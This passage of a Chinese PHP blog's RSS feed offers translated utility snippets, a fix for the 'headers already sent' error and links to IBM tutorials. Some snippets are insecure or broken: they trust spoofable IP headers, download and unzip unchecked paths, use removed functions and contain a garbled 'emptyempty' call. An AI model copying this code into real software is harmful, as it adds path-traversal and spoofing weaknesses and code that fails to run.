  return $rand;<br />
 }</p>
<p>3. PHP编码电子邮件地址</p>
<p>使用此代码，可以将任何电子邮件地址编码为 html 字符实体，以防止被垃圾邮件程序收集。</p>
<p>function encode_email($email=&#8217;info@domain.com&#8217;, $linkText=&#8217;Contact Us&#8217;, $attrs =&#8217;class=&#8221;emailencoder&#8221;&#8216; )<br />
{<br />
    // remplazar aroba y puntos<br />
    $email = str_replace(&#8216;@&#8217;, &#8216;&amp;#64;&#8217;, $email);<br />
    $email = str_replace(&#8216;.&#8217;, &#8216;&amp;#46;&#8217;, $email);<br />
    $email = str_split($email, 5); </p>
<p>    $linkText = str_replace(&#8216;@&#8217;, &#8216;&amp;#64;&#8217;, $linkText);<br />
    $linkText = str_replace(&#8216;.&#8217;, &#8216;&amp;#46;&#8217;, $linkText);<br />
    $linkText = str_split($linkText, 5); </p>
<p>    $part1 = &#8216;&lt;a href=&#8221;ma&#8217;;<br />
    $part2 = &#8216;ilto&amp;#58;&#8217;;<br />
    $part3 = &#8216;&#8221; &#8216;. $attrs .&#8217; &gt;&#8217;;<br />
    $part4 = &#8216;&lt;/a&gt;&#8217;; </p>
<p>    $encoded = &#8216;&lt;script type=&#8221;text/javascript&#8221;&gt;&#8217;;<br />
    $encoded .= &#8220;document.write(&#8216;$part1&#8242;);&#8221;;<br />
    $encoded .= &#8220;document.write(&#8216;$part2&#8242;);&#8221;;<br />
    foreach($email as $e)<br />
    {<br />
            $encoded .= &#8220;document.write(&#8216;$e&#8217;);&#8221;;<br />
    }<br />
    $encoded .= &#8220;document.write(&#8216;$part3&#8242;);&#8221;;<br />
    foreach($linkText as $l)<br />
    {<br />
            $encoded .= &#8220;document.write(&#8216;$l&#8217;);&#8221;;<br />
    }<br />
    $encoded .= &#8220;document.write(&#8216;$part4&#8242;);&#8221;;<br />
    $encoded .= &#8216;&lt;/script&gt;&#8217;; </p>
<p>    return $encoded;<br />
}</p>
<p>4. PHP验证邮件地址</p>
<p>电子邮件验证也许是中最常用的网页表单验证，此代码除了验证电子邮件地址，也可以选择检查邮件域所属 DNS 中的 MX 记录，使邮件验证功能更加强大。</p>
<p>function is_valid_email($email, $test_mx = false)<br />
{<br />
    if(eregi(&#8220;^([_a-z0-9-]+)(\.[_a-z0-9-]+)*@([a-z0-9-]+)(\.[a-z0-9-]+)*(\.[a-z]{2,4})$&#8221;, $email))<br />
        if($test_mx)<br />
        {<br />
            list($username, $domain) = split(&#8220;@&#8221;, $email);<br />
            return getmxrr($domain, $mxrecords);<br />
        }<br />
        else<br />
            return true;<br />
    else<br />
        return false;<br />
}</p>
<p>5. PHP列出目录内容</p>
<p>function list_files($dir)<br />
{<br />
    if(is_dir($dir))<br />
    {<br />
        if($handle = opendir($dir))<br />
        {<br />
            while(($file = readdir($handle)) !== false)<br />
            {<br />
                if($file != &#8220;.&#8221; &amp;&amp; $file != &#8220;..&#8221; &amp;&amp; $file != &#8220;Thumbs.db&#8221;)<br />
                {<br />
                    echo &#8216;&lt;a target=&#8221;_blank&#8221; href=&#8221;&#8216;.$dir.$file.&#8217;&#8221;&gt;&#8217;.$file.&#8217;&lt;/a&gt;&lt;br&gt;&#8217;.&#8221;\n&#8221;;<br />
                }<br />
            }<br />
            closedir($handle);<br />
        }<br />
    }<br />
}</p>
<p>6. PHP销毁目录</p>
<p>删除一个目录，包括它的内容。</p>
<p>/*****<br />
*@dir &#8211; Directory to destroy<br />
*@virtual[optional]- whether a virtual directory<br />
*/<br />
function destroyDir($dir, $virtual = false)<br />
{<br />
    $ds = DIRECTORY_SEPARATOR;<br />
    $dir = $virtual ? realpath($dir) : $dir;<br />
    $dir = substr($dir, -1) == $ds ? substr($dir, 0, -1) : $dir;<br />
    if (is_dir($dir) &amp;&amp; $handle = opendir($dir))<br />
    {<br />
        while ($file = readdir($handle))<br />
        {<br />
            if ($file == &#8216;.&#8217; || $file == &#8216;..&#8217;)<br />
            {<br />
                continue;<br />
            }<br />
            elseif (is_dir($dir.$ds.$file))<br />
            {<br />
                destroyDir($dir.$ds.$file);<br />
            }<br />
            else<br />
            {<br />
                unlink($dir.$ds.$file);<br />
            }<br />
        }<br />
        closedir($handle);<br />
        rmdir($dir);<br />
        return true;<br />
    }<br />
    else<br />
    {<br />
        return false;<br />
    }<br />
}</p>
<p>7. PHP解析 JSON 数据</p>
<p>与大多数流行的 Web 服务如 twitter 通过开放 API 来提供数据一样，它总是能够知道如何解析 API 数据的各种传送格式，包括 JSON，XML 等等。</p>
<p>$json_string=&#8217;{&#8220;id&#8221;:1,&#8221;name&#8221;:&#8221;foo&#8221;,&#8221;email&#8221;:&#8221;foo@foobar.com&#8221;,&#8221;interest&#8221;:["wordpress","php"]} &#8216;;<br />
$obj=json_decode($json_string);<br />
echo $obj-&gt;name; //prints foo<br />
echo $obj-&gt;interest[1]; //prints php</p>
<p>8. PHP解析 XML 数据</p>
<p>//xml string<br />
$xml_string=&#8221;&lt;?xml version=&#8217;1.0&#8242;?&gt;<br />
&lt;users&gt;<br />
   &lt;user id=&#8217;398&#8242;&gt;<br />
      &lt;name&gt;Foo&lt;/name&gt;<br />
      &lt;email&gt;foo@bar.com&lt;/name&gt;<br />
   &lt;/user&gt;<br />
   &lt;user id=&#8217;867&#8242;&gt;<br />
      &lt;name&gt;Foobar&lt;/name&gt;<br />
      &lt;email&gt;foobar@foo.com&lt;/name&gt;<br />
   &lt;/user&gt;<br />
&lt;/users&gt;&#8221;; </p>
<p>//load the xml string using simplexml<br />
$xml = simplexml_load_string($xml_string); </p>
<p>//loop through the each node of user<br />
foreach ($xml-&gt;user as $user)<br />
{<br />
   //access attribute<br />
   echo $user['id'], &#8216;  &#8216;;<br />
   //subnodes are accessed by -&gt; operator<br />
   echo $user-&gt;name, &#8216;  &#8216;;<br />
   echo $user-&gt;email, &#8216;&lt;br /&gt;&#8217;;<br />
}</p>
<p>9. PHP创建日志缩略名</p>
<p>创建用户友好的日志缩略名。</p>
<p>function create_slug($string){<br />
    $slug=preg_replace(&#8216;/[^A-Za-z0-9-]+/&#8217;, &#8216;-&#8217;, $string);<br />
    return $slug;<br />
}</p>
<p>10. PHP获取客户端真实 IP 地址</p>
<p>该函数将获取用户的真实 IP 地址，即便他使用代理服务器。</p>
<p>function getRealIpAddr()<br />
{<br />
    if (!emptyempty($_SERVER['HTTP_CLIENT_IP']))<br />
    {<br />
        $ip=$_SERVER['HTTP_CLIENT_IP'];<br />
    }<br />
    elseif (!emptyempty($_SERVER['HTTP_X_FORWARDED_FOR']))<br />
    //to check ip is pass from proxy<br />
    {<br />
        $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];<br />
    }<br />
    else<br />
    {<br />
        $ip=$_SERVER['REMOTE_ADDR'];<br />
    }<br />
    return $ip;<br />
}</p>
<p>11. PHP强制性文件下载</p>
<p>为用户提供强制性的文件下载功能。</p>
<p>/********************<br />
*@file &#8211; path to file<br />
*/<br />
function force_download($file)<br />
{<br />
    if ((isset($file))&amp;&amp;(file_exists($file))) {<br />
       header(&#8220;Content-length: &#8220;.filesize($file));<br />
       header(&#8216;Content-Type: application/octet-stream&#8217;);<br />
       header(&#8216;Content-Disposition: attachment; filename=&#8221;&#8216; . $file . &#8216;&#8221;&#8216;);<br />
       readfile(&#8220;$file&#8221;);<br />
    } else {<br />
       echo &#8220;No file selected&#8221;;<br />
    }<br />
}</p>
<p>12. PHP创建标签云</p>
<p>function getCloud( $data = array(), $minFontSize = 12, $maxFontSize = 30 )<br />
{<br />
    $minimumCount = min( array_values( $data ) );<br />
    $maximumCount = max( array_values( $data ) );<br />
    $spread       = $maximumCount &#8211; $minimumCount;<br />
    $cloudHTML    = &#8221;;<br />
    $cloudTags    = array(); </p>
<p>    $spread == 0 &amp;&amp; $spread = 1; </p>
<p>    foreach( $data as $tag =&gt; $count )<br />
    {<br />
        $size = $minFontSize + ( $count &#8211; $minimumCount )<br />
            * ( $maxFontSize &#8211; $minFontSize ) / $spread;<br />
        $cloudTags[] = &#8216;&lt;a style=&#8221;font-size: &#8216; . floor( $size ) . &#8216;px&#8217;<br />
        . &#8216;&#8221; href=&#8221;#&#8221; title=&#8221;\&#8221; . $tag  .<br />
        &#8216;\&#8217; returned a count of &#8216; . $count . &#8216;&#8221;&gt;&#8217;<br />
        . htmlspecialchars( stripslashes( $tag ) ) . &#8216;&lt;/a&gt;&#8217;;<br />
    } </p>
<p>    return join( &#8220;\n&#8221;, $cloudTags ) . &#8220;\n&#8221;;<br />
}<br />
/**************************<br />
****   Sample usage    ***/<br />
$arr = Array(&#8216;Actionscript&#8217; =&gt; 35, &#8216;Adobe&#8217; =&gt; 22, &#8216;Array&#8217; =&gt; 44, &#8216;Background&#8217; =&gt; 43,<br />
    &#8216;Blur&#8217; =&gt; 18, &#8216;Canvas&#8217; =&gt; 33, &#8216;Class&#8217; =&gt; 15, &#8216;Color Palette&#8217; =&gt; 11, &#8216;Crop&#8217; =&gt; 42,<br />
    &#8216;Delimiter&#8217; =&gt; 13, &#8216;Depth&#8217; =&gt; 34, &#8216;Design&#8217; =&gt; 8, &#8216;Encode&#8217; =&gt; 12, &#8216;Encryption&#8217; =&gt; 30,<br />
    &#8216;Extract&#8217; =&gt; 28, &#8216;Filters&#8217; =&gt; 42);<br />
echo getCloud($arr, 12, 36);</p>
<p>13. PHP寻找两个字符串的相似性</p>
<p>PHP 提供了一个极少使用的 similar_text 函数，但此函数非常有用，用于比较两个字符串并返回相似程度的百分比。</p>
<p>similar_text($string1, $string2, $percent);<br />
//$percent will have the percentage of similarity</p>
<p>14. PHP在应用程序中使用 Gravatar 通用头像</p>
<p>随着 WordPress 越来越普及，Gravatar 也随之流行。由于 Gravatar 提供了易于使用的 API，将其纳入应用程序也变得十分方便。</p>
<p>/******************<br />
*@email &#8211; Email address to show gravatar for<br />
*@size &#8211; size of gravatar<br />
*@default &#8211; URL of default gravatar to use<br />
*@rating &#8211; rating of Gravatar(G, PG, R, X)<br />
*/<br />
function show_gravatar($email, $size, $default, $rating)<br />
{<br />
    echo &#8216;&lt;img src=&#8221;http://www.gravatar.com/avatar.php?gravatar_id=&#8217;.md5($email).<br />
        &#8216;&amp;default=&#8217;.$default.&#8217;&amp;size=&#8217;.$size.&#8217;&amp;rating=&#8217;.$rating.&#8217;&#8221; width=&#8221;&#8216;.$size.&#8217;px&#8221;<br />
        height=&#8221;&#8216;.$size.&#8217;px&#8221; /&gt;&#8217;;<br />
}</p>
<p>15. PHP在字符断点处截断文字</p>
<p>所谓断字 (word break)，即一个单词可在转行时断开的地方。这一函数将在断字处截断字符串。</p>
<p>// Original PHP code by Chirp Internet: www.chirp.com.au<br />
// Please acknowledge use of this code by including this header.<br />
function myTruncate($string, $limit, $break=&#8221;.&#8221;, $pad=&#8221;&#8230;&#8221;) {<br />
    // return with no change if string is shorter than $limit<br />
    if(strlen($string) &lt;= $limit)<br />
        return $string;  </p>
<p>    // is $break present between $limit and the end of the string?<br />
    if(false !== ($breakpoint = strpos($string, $break, $limit))) {<br />
        if($breakpoint &lt; strlen($string) &#8211; 1) {<br />
            $string = substr($string, 0, $breakpoint) . $pad;<br />
        }<br />
    }<br />
    return $string;<br />
}<br />
/***** Example ****/<br />
$short_string=myTruncate($long_string, 100, &#8216; &#8216;);</p>
<p>16. PHP文件 Zip 压缩</p>
<p>/* creates a compressed zip file */<br />
function create_zip($files = array(),$destination = &#8221;,$overwrite = false) {<br />
    //if the zip file already exists and overwrite is false, return false<br />
    if(file_exists($destination) &amp;&amp; !$overwrite) { return false; }<br />
    //vars<br />
    $valid_files = array();<br />
    //if files were passed in&#8230;<br />
    if(is_array($files)) {<br />
        //cycle through each file<br />
        foreach($files as $file) {<br />
            //make sure the file exists<br />
            if(file_exists($file)) {<br />
                $valid_files[] = $file;<br />
            }<br />
        }<br />
    }<br />
    //if we have good files&#8230;<br />
    if(count($valid_files)) {<br />
        //create the archive<br />
        $zip = new ZipArchive();<br />
        if($zip-&gt;open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {<br />
            return false;<br />
        }<br />
        //add the files<br />
        foreach($valid_files as $file) {<br />
            $zip-&gt;addFile($file,$file);<br />
        }<br />
        //debug<br />
        //echo &#8216;The zip archive contains &#8216;,$zip-&gt;numFiles,&#8217; files with a status of &#8216;,$zip-&gt;status; </p>
<p>        //close the zip &#8212; done!<br />
        $zip-&gt;close(); </p>
<p>        //check to make sure the file exists<br />
        return file_exists($destination);<br />
    }<br />
    else<br />
    {<br />
        return false;<br />
    }<br />
}<br />
/***** Example Usage ***/<br />
$files=array(&#8216;file1.jpg&#8217;, &#8216;file2.jpg&#8217;, &#8216;file3.gif&#8217;);<br />
create_zip($files, &#8216;myzipfile.zip&#8217;, true);</p>
<p>17. PHP解压缩 Zip 文件</p>
<p>/**********************<br />
*@file &#8211; path to zip file<br />
*@destination &#8211; destination directory for unzipped files<br />
*/<br />
function unzip_file($file, $destination){<br />
    // create object<br />
    $zip = new ZipArchive() ;<br />
    // open archive<br />
    if ($zip-&gt;open($file) !== TRUE) {<br />
        die (’Could not open archive’);<br />
    }<br />
    // extract contents to destination directory<br />
    $zip-&gt;extractTo($destination);<br />
    // close archive<br />
    $zip-&gt;close();<br />
    echo &#8216;Archive extracted to directory&#8217;;<br />
}</p>
<p>18. PHP为 URL 地址预设 http 字符串</p>
<p>有时需要接受一些表单中的网址输入，但用户很少添加 http:// 字段，此代码将为网址添加该字段。</p>
<p>if (!preg_match(&#8220;/^(http|ftp):/&#8221;, $_POST['url'])) {<br />
   $_POST['url'] = &#8216;http://&#8217;.$_POST['url'];<br />
}</p>
<p>19. PHP将网址字符串转换成超级链接</p>
<p>该函数将 URL 和 E-mail 地址字符串转换为可点击的超级链接。</p>
<p>function makeClickableLinks($text) {<br />
 $text = eregi_replace(&#8216;(((f|ht){1}tp://)[-a-zA-Z0-9@:%_+.~#?&amp;//=]+)&#8217;,<br />
 &#8217;&lt;a href=&#8221;\1&#8243;&gt;\1&lt;/a&gt;&#8217;, $text);<br />
 $text = eregi_replace(&#8216;([[:space:]()[{}])(www.[-a-zA-Z0-9@:%_+.~#?&amp;//=]+)&#8217;,<br />
 &#8217;\1&lt;a href=&#8221;http://\2&#8243;&gt;\2&lt;/a&gt;&#8217;, $text);<br />
 $text = eregi_replace(&#8216;([_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,3})&#8217;,<br />
 &#8217;&lt;a href=&#8221;mailto:\1&#8243;&gt;\1&lt;/a&gt;&#8217;, $text); </p>
<p>return $text;<br />
}</p>
<p>20. PHP调整图像尺寸</p>
<p>创建图像缩略图需要许多时间，此代码将有助于了解缩略图的逻辑。</p>
<p>/**********************<br />
*@filename &#8211; path to the image<br />
*@tmpname &#8211; temporary path to thumbnail<br />
*@xmax &#8211; max width<br />
*@ymax &#8211; max height<br />
*/<br />
function resize_image($filename, $tmpname, $xmax, $ymax)<br />
{<br />
    $ext = explode(&#8220;.&#8221;, $filename);<br />
    $ext = $ext[count($ext)-1]; </p>
<p>    if($ext == &#8220;jpg&#8221; || $ext == &#8220;jpeg&#8221;)<br />
        $im = imagecreatefromjpeg($tmpname);<br />
    elseif($ext == &#8220;png&#8221;)<br />
        $im = imagecreatefrompng($tmpname);<br />
    elseif($ext == &#8220;gif&#8221;)<br />
        $im = imagecreatefromgif($tmpname); </p>
<p>    $x = imagesx($im);<br />
    $y = imagesy($im); </p>
<p>    if($x &lt;= $xmax &amp;&amp; $y &lt;= $ymax)<br />
        return $im; </p>
<p>    if($x &gt;= $y) {<br />
        $newx = $xmax;<br />
        $newy = $newx * $y / $x;<br />
    }<br />
    else {<br />
        $newy = $ymax;<br />
        $newx = $x / $y * $newy;<br />
    } </p>
<p>    $im2 = imagecreatetruecolor($newx, $newy);<br />
    imagecopyresized($im2, $im, 0, 0, 0, 0, floor($newx), floor($newy), $x, $y);<br />
    return $im2;<br />
}</p>
<p>21. PHP检测 ajax 请求</p>
<p>大多数的 JavaScript 框架如 jquery，Mootools 等，在发出 Ajax 请求时，都会发送额外的 HTTP_X_REQUESTED_WITH 头部信息，头当他们一个ajax请求，因此你可以在服务器端侦测到 Ajax 请求。</p>
<p>if(!emptyempty($_SERVER['HTTP_X_REQUESTED_WITH']) &amp;&amp; strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == &#8216;xmlhttprequest&#8217;){<br />
    //If AJAX Request Then<br />
}else{<br />
//something else<br />
}</p>
<p>英文原稿：<a href="http://webdeveloperplus.com/php/21-really-useful-handy-php-code-snippets/" target="_blank">21 Really Useful &amp; Handy PHP Code Snippets | Web Developer Plus</a><br />
翻译整理：<a href="http://www.mangguo.org/21-useful-handy-php-code-snippet" target="_blank">21+ 实用便捷的 PHP 代码摘录 | 芒果</a></p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/05/9-php-skills/' rel='bookmark' title='Permanent Link: 9-PHP-SKILLS'>9-PHP-SKILLS</a></li>
<li><a href='http://cq-cser.cn/2009/12/seo%e6%89%93%e6%89%8b/' rel='bookmark' title='Permanent Link: SEO打手'>SEO打手</a></li>
<li><a href='http://cq-cser.cn/2009/12/10-tips-to-make-more-money-fromwp/' rel='bookmark' title='Permanent Link: 10 tips to make more money fromWP'>10 tips to make more money fromWP</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/02/21%e4%b8%aa21%e4%b8%aa%e5%ae%9e%e7%94%a8php%e4%bb%a3%e7%a0%81/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Warning: Cannot modify header information &#8211; headers already sent by &#8230;&#8230;</title>
		<link>http://cq-cser.cn/2010/02/warning-cannot-modify-header-information-headers-already-sent-by/</link>
		<comments>http://cq-cser.cn/2010/02/warning-cannot-modify-header-information-headers-already-sent-by/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 14:57:25 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[modify]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=845</guid>
		<description><![CDATA[方法一： 在PHP里Cookie的使用是有一些限制的。 1、使用setcookie必须在&#60;html&#62;标签之前 2、使用setcookie之前，不可以使用echo输入内容 3、直到网页被加载完后，cookie才会出现 4、setcookie必须放到任何资料输出浏览器前，才送出 &#8230;.. 由于上面的限制，在使用setcookie()函数时，学会遇到 &#8220;Undefined index&#8221;、&#8221;Cannot modify header information &#8211; headers already sent by&#8221;…等问题，解决办法是在输出内容之前，产生cookie，可以在程序的最上方加入函数 ob_start(); ob_start ：打开输出缓冲区 函数格式：void ob_start(void) 说明：当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用ob_end_flush()或flush()输出缓冲区的内容。 方法二： 解 决Warning: Cannot modify header information &#8211; headers already sent by &#8230;&#8230; 前几天装了个php的大头贴系统测试，发现报错Warning: Cannot modify header information &#8211; headers already sent by &#8230;&#8230; 今天又装openads，还是出现这个问题。怒了。上网找了半天，有人说要在文件开头写上 ob_start(); 失败。 后来打开 php.ini 然后把 output_buffering [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/php%e7%bc%96%e5%86%99%e6%98%93%e8%8c%83%e9%94%99%e8%af%af/' rel='bookmark' title='Permanent Link: php编写易范错误'>php编写易范错误</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><strong>方法一：</strong><br />
在PHP里Cookie的使用是有一些限制的。<br />
1、使用setcookie必须在&lt;html&gt;标签之前<br />
2、使用setcookie之前，不可以使用echo输入内容<br />
3、直到网页被加载完后，cookie才会出现<br />
4、setcookie必须放到任何资料输出浏览器前，才送出<br />
&#8230;..</p>
<p><span id="more-845"></span><br />
由于上面的限制，在使用setcookie()函数时，学会遇到 &#8220;Undefined index&#8221;、&#8221;Cannot modify header information &#8211; headers already sent by&#8221;…等问题，解决办法是在输出内容之前，产生cookie，可以在程序的最上方加入函数 ob_start();</p>
<p>ob_start ：打开输出缓冲区<br />
函数格式：void ob_start(void)<br />
说明：当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用ob_end_flush()或flush()输出缓冲区的内容。</p>
<p><strong>方法二：<br />
</strong>解 决Warning: Cannot modify header information &#8211; headers already sent by &#8230;&#8230; 前几天装了个php的大头贴系统测试，发现报错Warning: Cannot modify header information &#8211; headers already sent by &#8230;&#8230;<br />
今天又装openads，还是出现这个问题。怒了。上网找了半天，有人说要在文件开头写上<br />
ob_start();<br />
失败。<br />
后来打开 php.ini 然后把 output_buffering 设为 on 。重起appache，OK。看来这才是解决办法。</p>
<p><strong style="COLOR: #ff0000">特别注意：</strong>（我就是看了这个才解决问题的）<strong style="COLOR: #ff0000"><br />
</strong>如果使用utf-8编码，一定要去掉UTF-8中的BOM，这都是因为utf-8编码文件含有的bom原因，而php4,5都是不支持bom的。去掉bom，可以用Notepad++打开转换一下。（我就是看了这个才解决问题的）</p>
<p>用PHP的ob_start(); 控制您的浏览器cache</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/php%e7%bc%96%e5%86%99%e6%98%93%e8%8c%83%e9%94%99%e8%af%af/' rel='bookmark' title='Permanent Link: php编写易范错误'>php编写易范错误</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/02/warning-cannot-modify-header-information-headers-already-sent-by/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IBM出品PHP教程文章</title>
		<link>http://cq-cser.cn/2010/02/ibm%e5%87%ba%e5%93%81php%e6%95%99%e7%a8%8b%e6%96%87%e7%ab%a0/</link>
		<comments>http://cq-cser.cn/2010/02/ibm%e5%87%ba%e5%93%81php%e6%95%99%e7%a8%8b%e6%96%87%e7%ab%a0/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 15:36:23 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[教程]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=717</guid>
		<description><![CDATA[  IBM出品PHP教程文章 概述 PHP 简介 部署 安装 XAMPP 进行方便集成开发 源代码控制 利用 PHP 和 Subversion 从零开始创建一个 blog 开发 学习 PHP 开始了解 PHP V5 中的对象 用 PHP 走向动态 学习 PHP，第一部分 学习 PHP，第二部分 学习 PHP，第三部分 用 PHP 开发健壮的代码，第 1 部分 用 PHP 开发健壮的代码，第 2 部分：有效地使用变量 用 PHP 开发健壮的代码，第 3 部分：编写可重用函数 &#8212; 充分利用函数 PHP 例解,第 1 部分：轻松的 Webzine 编辑和发送 PHP 例解,第 2 部分：深入研究 Webzine 编辑和发送 高级 PHP 高级 PHP V5 对象 用 PHP 构建 Web [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<div><span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 14px arial, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: #000000; WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><span style="BORDER-COLLAPSE: collapse; FONT-SIZE: 13px"><span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 14px arial, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: #000000; WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><span style="BORDER-COLLAPSE: collapse; FONT-SIZE: 13px"></span></span></span></span></div>
<p> </p>
<p><span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 14px arial, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: #000000; WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><span style="BORDER-COLLAPSE: collapse; FONT-SIZE: 13px"><span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 14px arial, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: #000000; WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><span style="BORDER-COLLAPSE: collapse; FONT-SIZE: 13px"></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"><strong>IBM出品PHP教程文章</strong></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">概述 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/intro/index.html" target="_blank">PHP 简介</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">部署 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/intro/index.html" target="_blank">安装 XAMPP 进行方便集成开发</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">源代码控制 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=108167" target="_blank">利用 PHP 和 Subversion 从零开始创建一个 blog</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">开发 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" />学习 PHP <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-phpobj/" target="_blank">开始了解 PHP V5 中的对象</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-php-flexobj/" target="_blank">用 PHP 走向动态</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=91117" target="_blank">学习 PHP，第一部分</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=91118" target="_blank">学习 PHP，第二部分</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; 